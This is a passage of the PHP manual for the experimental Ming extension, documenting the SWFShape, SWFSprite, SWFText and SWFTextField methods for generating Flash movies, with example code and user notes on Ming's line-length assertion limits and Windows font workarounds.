swfmovie->output(),swfmovie->save(),
swfmovie->add(), swfmovie->remove(),
swfmovie->nextframe(), swfmovie->setbackground(),
swfmovie->setrate(), swfmovie->setdimension(),
swfmovie->setframes() and swfmovie->streammp3().

See examples in : swfdisplayitem->rotateto(), swfshape->setline(), swfshape->addfill()... Any example will use this object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFMovie->streammp3 | 上一级 | SWFShape->addFill


SWFShape->addFill

(no version information, might be only in CVS)

SWFShape->addFill -- Adds a solid fill to the shape

Description

SWFFill SWFShape->addFill ( int red, int green, int blue [, int a] )

SWFFill SWFShape->addFill ( SWFBitmap bitmap [, int flags] )

SWFFill SWFShape->addFill ( SWFGradient gradient [, int flags] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

SWFShape->addFill() adds a solid fill to the shape's list of fill styles. SWFShape->addFill() accepts three different types of arguments.

red, green, blue is a color (RGB mode). Last parameter a is optional.

The bitmap argument is an SWFBitmap() object. The flags argument can be one of the following values: SWFFILL_CLIPPED_BITMAP, SWFFILL_TILED_BITMAP, SWFFILL_LINEAR_GRADIENT or SWFFILL_RADIAL_GRADIENT. Default is SWFFILL_TILED_BITMAP for SWFBitmap and SWFFILL_LINEAR_GRADIENT for SWFGradient.

The gradient argument is an SWFGradient() object. The flags argument can be one of the following values : SWFFILL_RADIAL_GRADIENT or SWFFILL_LINEAR_GRADIENT. Default is SWFFILL_LINEAR_GRADIENT. I'm sure about this one. Really.

SWFShape->addFill() returns an SWFFill()
object for use with the SWFShape->setLeftFill()
and SWFShape->setRightFill() functions
described below.

This simple example will draw a frame on a bitmap. Ah, here's another buglet in the flash player- it doesn't seem to care about the second shape's bitmap's transformation in a morph. According to spec, the bitmap should stretch along with the shape in this example..

例子 1. SWFShape->addFill() example

<?php

  $p = new SWFMorph();

  $b = new SWFBitmap(file_get_contents("alphafill.jpg"));
  // use your own bitmap
  $width = $b->getWidth();
  $height = $b->getHeight();

  $s = $p->getShape1();
  $f = $s->addFill($b, SWFFILL_TILED_BITMAP);
  $f->moveTo(-$width/2, -$height/4);
  $f->scaleTo(1.0, 0.5);
  $s->setLeftFill($f);
  $s->movePenTo(-$width/2, -$height/4);
  $s->drawLine($width, 0);
  $s->drawLine(0, $height/2);
  $s->drawLine(-$width, 0);
  $s->drawLine(0, -$height/2);

  $s = $p->getShape2();
  $f = $s->addFill($b, SWFFILL_TILED_BITMAP);

  // these two have no effect!
  $f->moveTo(-$width/4, -$height/2);
  $f->scaleTo(0.5, 1.0);

  $s->setLeftFill($f);
  $s->movePenTo(-$width/4, -$height/2);
  $s->drawLine($width/2, 0);
  $s->drawLine(0, $height);
  $s->drawLine(-$width/2, 0);
  $s->drawLine(0, -$height);

  $m = new SWFMovie();
  $m->setDimension($width, $height);
  $i = $m->add($p);
  $i->moveTo($width/2, $height/2);

  for ($n=0; $n<1.001; $n+=0.03) {
    $i->setRatio($n);
    $m->nextFrame();
  }

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

See also SWFShape->setLeftFill() and SWFShape->setRightFill().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFMovie | 上一级 | SWFShape->drawCurve


SWFShape->drawCurve

(no version information, might be only in CVS)

SWFShape->drawCurve -- Draws a curve (relative)

Description

int swfshape->drawcurve ( int controldx, int controldy, int anchordx, int anchordy [, int targetdx, int targetdy] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfshape->drawcurve() draws a quadratic curve (using the current line style,set by swfshape->setline()) from the current pen position to the relative position (anchorx,anchory) using relative control point (controlx,controly). That is, head towards the control point, then smoothly turn to the anchor point.

With 6 parameters, it draws a cubic bezier to point (x+targetdx, x+targetdy) with control points (x+controldx, y+controldy) and (x+anchordx, y+anchordy).

See also
swfshape->drawlineto(),
swfshape->drawline(),
swfshape->movepento() and
swfshape->movepen().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFShape->addFill | 上一级 | SWFShape->drawCurveTo


SWFShape->drawCurveTo

(no version information, might be only in CVS)

SWFShape->drawCurveTo -- Draws a curve

Description

int swfshape->drawcurveto ( int controlx, int controly, int anchorx, int anchory [, int targetx, int targety] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfshape->drawcurveto() draws a quadratic curve (using the current line style, set by swfshape->setline()) from the current pen position to (anchorx,anchory) using (controlx,controly) as a control point. That is, head towards the control point, then smoothly turn to the anchor point.

With 6 parameters, it draws a cubic bezier to point (targetx, targety) with control points (controlx, controly) and (anchorx, anchory).

See also
swfshape->drawlineto(),
swfshape->drawline(),
swfshape->movepento() and
swfshape->movepen().

add a note add a note User Contributed Notes
Chris
01-Jul-2005 03:28
for those new this all this, "anchor" is where you want to end up and "control" is the point you would go to if you were drawing a square.

for example, this would draw a quarter circle
<?php
   $s->movePenTo(100, 100);
   $s->drawLineTo(200, 100);
   $s->drawCurveTo(200, 200, 100, 200);
   $s->drawLineTo(100, 100);
?>
add a note add a note

后退 | 起点 | 前进
SWFShape->drawCurve | 上一级 | SWFShape->drawLine


SWFShape->drawLine

(no version information, might be only in CVS)

SWFShape->drawLine -- Draws a line (relative)

Description

void swfshape->drawline ( int dx, int dy )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfshape->drawline() draws a line (using the current line style set by swfshape->setline()) from the current pen position to displacement (dx,dy).

See also
swfshape->movepento(),
swfshape->drawcurveto(),
swfshape->movepen() and
swfshape->drawlineto().

add a note add a note User Contributed Notes
lexmanspam at laposte dot net
27-Jul-2005 03:07
see  drawLineTo (http://fr2.php.net/manual/en/function.swfshape.drawlineto.php) to get more help with this error
robert at peakepro dot com
16-May-2004 02:28
<?PHP
$SWFShape->drawline(0,3276);
?>

works, whereas:

<?PHP
$SWFShape->drawline(0,3277);
?>

gives:

Fatal error: drawline(): failed assertion

in Ming 0.21a. This seems to be reproduceable independent of the movie dimensions.
dsward at webnation dot com
04-Dec-2002 03:37
If you receive a failed assertion error when using Ming's DrawLine function, try splitting the line into two or more smaller segments.
add a note add a note

后退 | 起点 | 前进
SWFShape->drawCurveTo | 上一级 | SWFShape->drawLineTo


SWFShape->drawLineTo

(no version information, might be only in CVS)

SWFShape->drawLineTo -- Draws a line

Description

void swfshape->drawlineto ( int x, int y )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfshape->setrightfill() draws a line (using the current line style, set by swfshape->setline()) from the current pen position to point (x,y) in the shape's coordinate space.

See also
swfshape->movepento(),
swfshape->drawcurveto(),
swfshape->movepen() and
swfshape->drawline().

add a note add a note User Contributed Notes
lexmanspam at laposte dot net
27-Jul-2005 03:04
If you have the error <<drawlineto(): failed assertion>> :

Ming can't handel drawLineToTo if the distance from the previous point is over 8276.7 pixels (mesured empiriticaly) in the vertical or horizontal axis
 Why ?
Coordinates in SWF are in twips (20 twips = 1 pixel)
 and 2^16 = 65536 = 3276.8 * 20
So we can assume that coordinates of drawLineTo in SWf are relatives to the previous point, and take 16 bits (plus the sign).
Or it can be ming that brings this limitation
These measures have been made with ming_setScale(20.00000000);
This issue doesn't seem to occur with movePenTo

Here's how you can handle this :

<?
function splitForMing($x1, $y1, $x2, $y2) {
  $res = array();
  $nbSegments =  floor(max(abs($x2 - $x1), abs($y2 - $y1)) / 3276) + 1;
  for($i = 1; $i < $nbSegments ; $i++) { // ($nbSegments - 1) iterations in the loop : the 1st point is assumed to have been already processed ; the last one is already known
           $res[] = array($x1 + ($x2 - $x1) * $i / $nbSegments, $y1 + ($y2 - $y1) * $i / $nbSegments);
  }
  $res[] = array($x2, $y2);
  return $res;
}

ming_setScale(20.00000000);
ming_useswfversion(6); // With ming 0.3
$movie = new SWFMovie();
$movie->setDimension(20000,8000);
$movie->setBackground(0xcc, 0xcc, 0xcc );
$movie->setRate(24);

$polygone = new SWFShape();
$polygone->setRightFill($polygone->addFill(0xff, 0, 0));
$polygone->setLine(20, 0x7f, 0, 0);
$polygone->movePenTo(10000, 500); // No split needed for movePenTo
$tmp = splitForMing(10000, 500, 15000, 500);
for( $i = 0 ; $i < count($tmp) ; $i++) {
     $polygone->drawLineTo($tmp[$i][0], $tmp[$i][1]); // C
}
$tmp = splitForMing(15000, 500, 15000, 5500);
for( $i = 0 ; $i < count($tmp) ; $i++) {
     $polygone->drawLineTo($tmp[$i][0], $tmp[$i][1]); // C
}
$tmp = splitForMing(15000, 5500, 10000, 500);
for( $i = 0 ; $i < count($tmp) ; $i++) {
     $polygone->drawLineTo($tmp[$i][0], $tmp[$i][1]); // C
}
$polygone->drawLineTo(15000, 15000);
$ajout = $movie->add($polygone);
$ajout->setName("test");
$movie->output();
?>
add a note add a note

后退 | 起点 | 前进
SWFShape->drawLine | 上一级 | SWFShape->movePen


SWFShape->movePen

(no version information, might be only in CVS)

SWFShape->movePen -- Moves the shape's pen (relative)

Description

void swfshape->movepen ( int dx, int dy )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfshape->setrightfill() move the shape's pen from coordinates (current x,current y) to (current x + dx, current y + dy) in the shape's coordinate space.

See also
swfshape->movepento(),
swfshape->drawcurveto(),
swfshape->drawlineto() and
swfshape->drawline().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFShape->drawLineTo | 上一级 | SWFShape->movePenTo


SWFShape->movePenTo

(no version information, might be only in CVS)

SWFShape->movePenTo -- Moves the shape's pen

Description

void swfshape->movepento ( int x, int y )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfshape->setrightfill() move the shape's pen to (x,y) in the shape's coordinate space.

See also
swfshape->movepen(),
swfshape->drawcurveto(),
swfshape->drawlineto() and
swfshape->drawline().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFShape->movePen | 上一级 | SWFShape->setLeftFill


SWFShape->setLeftFill

(no version information, might be only in CVS)

SWFShape->setLeftFill -- Sets left rasterizing color

Description

void swfshape->setleftfill ( swfgradient fill )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

void swfshape->setleftfill ( int red, int green, int blue [, int a] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

What this nonsense is about is, every edge segment borders at most two fills. When rasterizing the object, it's pretty handy to know what those fills are ahead of time, so the swf format requires these to be specified.

swfshape->setleftfill() sets the fill on the left side of the edge- that is, on the interior if you're defining the outline of the shape in a counter-clockwise fashion. The fill object is an SWFFill object returned from one of the addFill functions above.

This seems to be reversed when you're defining a shape in a morph, though. If your browser crashes, just try setting the fill on the other side.

Shortcut for swfshape->setleftfill($s->addfill($r, $g, $b [, $a]));.

See also swfshape->setrightfill().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFShape->movePenTo | 上一级 | SWFShape->setLine


SWFShape->setLine

(no version information, might be only in CVS)

SWFShape->setLine -- Sets the shape's line style

Description

void swfshape->setline ( swfshape shape )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

void swfshape->setline ( int width, int red, int green, int blue [, int a] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfshape->setline() sets the shape's line style. width is the line's width. If width is 0, the line's style is removed (then, all other arguments are ignored). If width > 0, then line's color is set to red, green, blue. Last parameter a is optional.

You must declare all line styles before you use them (see example).

This simple example will draw a big "!#%*@", in funny colors and gracious style.

例子 1. swfshape->setline() example

<?php
  $s = new SWFShape();
  $f1 = $s->addFill(0xff, 0, 0);
  $f2 = $s->addFill(0xff, 0x7f, 0);
  $f3 = $s->addFill(0xff, 0xff, 0);
  $f4 = $s->addFill(0, 0xff, 0);
  $f5 = $s->addFill(0, 0, 0xff);

  // bug: have to declare all line styles before you use them
  $s->setLine(40, 0x7f, 0, 0);
  $s->setLine(40, 0x7f, 0x3f, 0);
  $s->setLine(40, 0x7f, 0x7f, 0);
  $s->setLine(40, 0, 0x7f, 0);
  $s->setLine(40, 0, 0, 0x7f);

  $f = new SWFFont('Techno.fdb');

  $s->setRightFill($f1);
  $s->setLine(40, 0x7f, 0, 0);
  $s->drawGlyph($f, '!');
  $s->movePen($f->getWidth('!'), 0);

  $s->setRightFill($f2);
  $s->setLine(40, 0x7f, 0x3f, 0);
  $s->drawGlyph($f, '#');
  $s->movePen($f->getWidth('#'), 0);

  $s->setRightFill($f3);
  $s->setLine(40, 0x7f, 0x7f, 0);
  $s->drawGlyph($f, '%');
  $s->movePen($f->getWidth('%'), 0);

  $s->setRightFill($f4);
  $s->setLine(40, 0, 0x7f, 0);
  $s->drawGlyph($f, '*');
  $s->movePen($f->getWidth('*'), 0);

  $s->setRightFill($f5);
  $s->setLine(40, 0, 0, 0x7f);
  $s->drawGlyph($f, '@');

  $m = new SWFMovie();
  $m->setDimension(3000,2000);
  $m->setRate(12.0);
  $i = $m->add($s);
  $i->moveTo(1500-$f->getWidth("!#%*@")/2, 1000+$f->getAscent()/2);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFShape->setLeftFill | 上一级 | SWFShape->setRightFill


SWFShape->setRightFill

(no version information, might be only in CVS)

SWFShape->setRightFill -- Sets right rasterizing color

Description

void swfshape->setrightfill ( swfgradient fill )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

void swfshape->setrightfill ( int red, int green, int blue [, int a] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

See also swfshape->setleftfill().

Shortcut for swfshape->setrightfill($s->addfill($r, $g, $b [, $a]));.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFShape->setLine | 上一级 | SWFShape


SWFShape

(PHP 4 >= 4.0.5)

SWFShape -- Creates a new shape object

Description

SWFShape swfshape ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfshape() creates a new shape object.

SWFShape has the following methods : swfshape->setline(),
swfshape->addfill(), swfshape->setleftfill(),
swfshape->setrightfill(), swfshape->movepento(),
swfshape->movepen(), swfshape->drawlineto(),
swfshape->drawline(), swfshape->drawcurveto()
and swfshape->drawcurve().

This simple example will draw a big red elliptic quadrant.

例子 1. swfshape() example

<?php
  $s = new SWFShape();
  $s->setLine(40, 0x7f, 0, 0);
  $s->setRightFill($s->addFill(0xff, 0, 0));
  $s->movePenTo(200, 200);
  $s->drawLineTo(6200, 200);
  $s->drawLineTo(6200, 4600);
  $s->drawCurveTo(200, 4600, 200, 200);

  $m = new SWFMovie();
  $m->setDimension(6400, 4800);
  $m->setRate(12.0);
  $m->add($s);
  $m->nextFrame();

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFShape->setRightFill | 上一级 | swfsprite->add


swfsprite->add

(no version information, might be only in CVS)

swfsprite->add -- Adds an object to a sprite

Description

void swfsprite->add ( resource object )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfsprite->add() adds a swfshape(), a
swfbutton(), a swftext(),
a swfaction() or a swfsprite() object.

For displayable types (swfshape(),
swfbutton(), swftext(),
swfaction() or swfsprite()),
this returns a handle  to the object in a display list.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFShape | 上一级 | SWFSprite->nextframe


SWFSprite->nextframe

(no version information, might be only in CVS)

SWFSprite->nextframe -- Moves to the next frame of the animation

Description

void swfsprite->nextframe ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfsprite->setframes() moves to the next frame of the animation.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swfsprite->add | 上一级 | SWFSprite->remove


SWFSprite->remove

(no version information, might be only in CVS)

SWFSprite->remove -- Removes an object to a sprite

Description

void swfsprite->remove ( resource object )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfsprite->remove() remove a swfshape(), a
swfbutton(), a swftext(),
a swfaction() or a swfsprite() object
from the sprite.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFSprite->nextframe | 上一级 | SWFSprite->setframes


SWFSprite->setframes

(no version information, might be only in CVS)

SWFSprite->setframes -- Sets the total number of frames in the animation

Description

void swfsprite->setframes ( int numberofframes )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfsprite->setframes() sets the total number of frames in the animation to numberofframes.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFSprite->remove | 上一级 | SWFSprite


SWFSprite

(PHP 4 >= 4.0.5)

SWFSprite -- Creates a movie clip (a sprite)

Description

SWFSprite swfsprite ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfsprite() are also known as a "movie clip", this allows one to create objects which are animated in their own timelines. Hence, the sprite has most of the same methods as the movie.

swfsprite() has the following methods :
swfsprite->add(),
swfsprite->remove(), swfsprite->nextframe()
and swfsprite->setframes().

This simple example will spin gracefully a big red square.

例子 1. swfsprite() example

<?php
  $s = new SWFShape();
  $s->setRightFill($s->addFill(0xff, 0, 0));
  $s->movePenTo(-500, -500);
  $s->drawLineTo(500, -500);
  $s->drawLineTo(500, 500);
  $s->drawLineTo(-500, 500);
  $s->drawLineTo(-500, -500);

  $p = new SWFSprite();
  $i = $p->add($s);
  $p->nextFrame();
  $i->rotate(15);
  $p->nextFrame();
  $i->rotate(15);
  $p->nextFrame();
  $i->rotate(15);
  $p->nextFrame();
  $i->rotate(15);
  $p->nextFrame();
  $i->rotate(15);
  $p->nextFrame();

  $m = new SWFMovie();
  $i = $m->add($p);
  $i->moveTo(1500, 1000);
  $i->setName("blah");

  $m->setBackground(0xff, 0xff, 0xff);
  $m->setDimension(3000, 2000);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
o dot marce at free dot fr
04-Oct-2005 03:47
Note that when adding an sprite to a container (sprite or movie), only the object added to the sprite before the addin to the container will be displayed.

// In this case, myShape will be displayed...
$sp=new SWFSprite();
$container=new SWFSprite();
$sp->add($myShape);
$container->add($sp);

// but not in this case
$sp=new SWFSprite();
$container=new SWFSprite();
$container->add($sp);
$sp->add($myShape);
add a note add a note

后退 | 起点 | 前进
SWFSprite->setframes | 上一级 | SWFText->addString


SWFText->addString

(no version information, might be only in CVS)

SWFText->addString -- Draws a string

Description

void swftext->addstring ( string string )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftext->addstring() draws the string string at the current pen (cursor) location. Pen is at the baseline of the text; i.e., ascending text is in the -y direction.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFSprite | 上一级 | SWFText->getWidth


SWFText->getWidth

(no version information, might be only in CVS)

SWFText->getWidth -- Computes string's width

Description

float swftext->getwidth ( string string )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftext->addstring() returns the rendered width of the string string at the text object's current font, scale, and spacing settings.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFText->addString | 上一级 | SWFText->moveTo


SWFText->moveTo

(no version information, might be only in CVS)

SWFText->moveTo -- Moves the pen

Description

void swftext->moveto ( int x, int y )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftext->moveto() moves the pen (or cursor, if that makes more sense) to (x,y) in text object's coordinate space. If either is zero, though, value in that dimension stays the same. Annoying, should be fixed.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFText->getWidth | 上一级 | SWFText->setColor


SWFText->setColor

(no version information, might be only in CVS)

SWFText->setColor -- Sets the current font color

Description

void swftext->setcolor ( int red, int green, int blue [, int a] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftext->setspacing() changes the current text color. Default is black. I think. Color is represented using the RGB system.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFText->moveTo | 上一级 | SWFText->setFont


SWFText->setFont

(no version information, might be only in CVS)

SWFText->setFont -- Sets the current font

Description

void swftext->setfont ( string font )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftext->setfont() sets the current font to font.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFText->setColor | 上一级 | SWFText->setHeight


SWFText->setHeight

(no version information, might be only in CVS)

SWFText->setHeight -- Sets the current font height

Description

void swftext->setheight ( int height )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftext->setheight() sets the current font height to height. Default is 240.

add a note add a note User Contributed Notes
o dot marce at free dot fr
28-Sep-2005 02:11
SWFText->setHeight seems to take a pixel value, not a twips  value (20 twips per pixel)
add a note add a note

后退 | 起点 | 前进
SWFText->setFont | 上一级 | SWFText->setSpacing


SWFText->setSpacing

(no version information, might be only in CVS)

SWFText->setSpacing -- Sets the current font spacing

Description

void swftext->setspacing ( float spacing )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftext->setspacing() sets the current font spacing to spacingspacing. Default is 1.0. 0 is all of the letters written at the same point. This doesn't really work that well because it inflates the advance across the letter, doesn't add the same amount of spacing between the letters. I should try and explain that better, prolly. Or just fix the damn thing to do constant spacing. This was really just a way to figure out how letter advances work, anyway.. So nyah.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFText->setHeight | 上一级 | SWFText


SWFText

(PHP 4 >= 4.0.5)

SWFText -- Creates a new SWFText object

Description

SWFText swftext ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftext() creates a new SWFText object, fresh for manipulating.

SWFText has the following methods : swftext->setfont(),
swftext->setheight(), swftext->setspacing(),
swftext->setcolor(), swftext->moveto(),
swftext->addstring() and swftext->getwidth().

This simple example will draw a big yellow "PHP generates Flash with Ming" text, on white background.

例子 1. swftext() example

<?php
  $f = new SWFFont("Techno.fdb");
  $t = new SWFText();
  $t->setFont($f);
  $t->moveTo(200, 2400);
  $t->setColor(0xff, 0xff, 0);
  $t->setHeight(1200);
  $t->addString("PHP generates Flash with Ming!!");

  $m = new SWFMovie();
  $m->setDimension(5400, 3600);

  $m->add($t);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
p_smiecho at interia dot pl
01-Dec-2003 07:26
It seems to me that there is a bug: everything works perfect but only with Linux. SWFText crashes while working on Windows. So I do it that way:

   $f = new SWFFont('Arial');
   $t = new SWFTextField();
   $t -> setFont($f);
   $t -> addString('Hello world!!!');

   $p = new SWFSprite();
   $i = $p -> add($t);
   $i -> moveto(100, 100);    // Here you can move text !!
   //$p -> remove($i);

   $m = new SWFMovie();
   ...
   $m -> add($p);

Of course it writes text where I want, but I still can't get other methods of SWFText class. For example: I can't get text width (swftext->getwidth).
franky at boucheros dot com
22-Apr-2002 09:12
For windows platform :

$f=new SWFFont("_sans");
$t=new SWFTextField();

and comment the moveto line.
add a note add a note

后退 | 起点 | 前进
SWFText->setSpacing | 上一级 | SWFTextField->addstring


SWFTextField->addstring

(no version information, might be only in CVS)

SWFTextField->addstring -- Concatenates the given string to the text field

Description

void swftextfield->addstring ( string string )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->setname() concatenates the string string to the text field.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFText | 上一级 | SWFTextField->align


SWFTextField->align

(no version information, might be only in CVS)

SWFTextField->align -- Sets the text field alignment

Description

void swftextfield->align ( int alignement )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->align() sets the text field alignment to alignement. Valid values for alignement are : SWFTEXTFIELD_ALIGN_LEFT, SWFTEXTFIELD_ALIGN_RIGHT, SWFTEXTFIELD_ALIGN_CENTER and SWFTEXTFIELD_ALIGN_JUSTIFY.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->addstring | 上一级 | SWFTextField->setbounds


SWFTextField->setbounds

(no version information, might be only in CVS)

SWFTextField->setbounds -- Sets the text field width and height

Description

void swftextfield->setbounds ( int width, int height )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->setbounds() sets the text field width to width and height to height. If you don't set the bounds yourself, Ming makes a poor guess at what the bounds are.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->align | 上一级 | SWFTextField->setcolor


SWFTextField->setcolor

(no version information, might be only in CVS)

SWFTextField->setcolor -- Sets the color of the text field

Description

void swftextfield->setcolor ( int red, int green, int blue [, int a] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->setcolor() sets the color of the text field. Default is fully opaque black. Color is represented using RGB system.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->setbounds | 上一级 | SWFTextField->setFont


SWFTextField->setFont

(no version information, might be only in CVS)

SWFTextField->setFont -- Sets the text field font

Description

void swftextfield->setfont ( string font )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->setfont() sets the text field font to the [browser-defined?] font font.

add a note add a note User Contributed Notes
jerryscript at aol dot com
05-Jan-2004 10:57
Ming 0.3 (current cvs) allows you to embed fonts using addChars().

$t-new SWFTextField();
$t->setFont(new SWFFont("font_file.fdb"));
$lowercase="abcdefghijklmnopqrstuvwxyz";
$uppercase="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$numbers="1234567890";
$charsToAdd="$lowercase$uppercase$numbers";
$t->addChars($charsToAdd);

I'm not sure if you can use regExp to addChars?
[note-I broke the char list up due to this board's wordwrap]
Anze
04-Nov-2003 06:53
From what I could gather, version 0.2a of Ming only allows to set browser font (that is, font is used only if user has it on his/her computer, otherwise some default is used). Embedding fonts does not work in this version, but judging from ChangeLog in CVS any CVS version from 2002-11-19 should be able to embed fdb font of your liking. Haven't tried it though.
add a note add a note

后退 | 起点 | 前进
SWFTextField->setcolor | 上一级 | SWFTextField->setHeight


SWFTextField->setHeight

(no version information, might be only in CVS)

SWFTextField->setHeight -- Sets the font height of this text field font

Description

void swftextfield->setheight ( int height )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->setheight() sets the font height of this text field font to the given height height. Default is 240.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->setFont | 上一级 | SWFTextField->setindentation


SWFTextField->setindentation

(no version information, might be only in CVS)

SWFTextField->setindentation -- Sets the indentation of the first line

Description

void swftextfield->setindentation ( int width )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

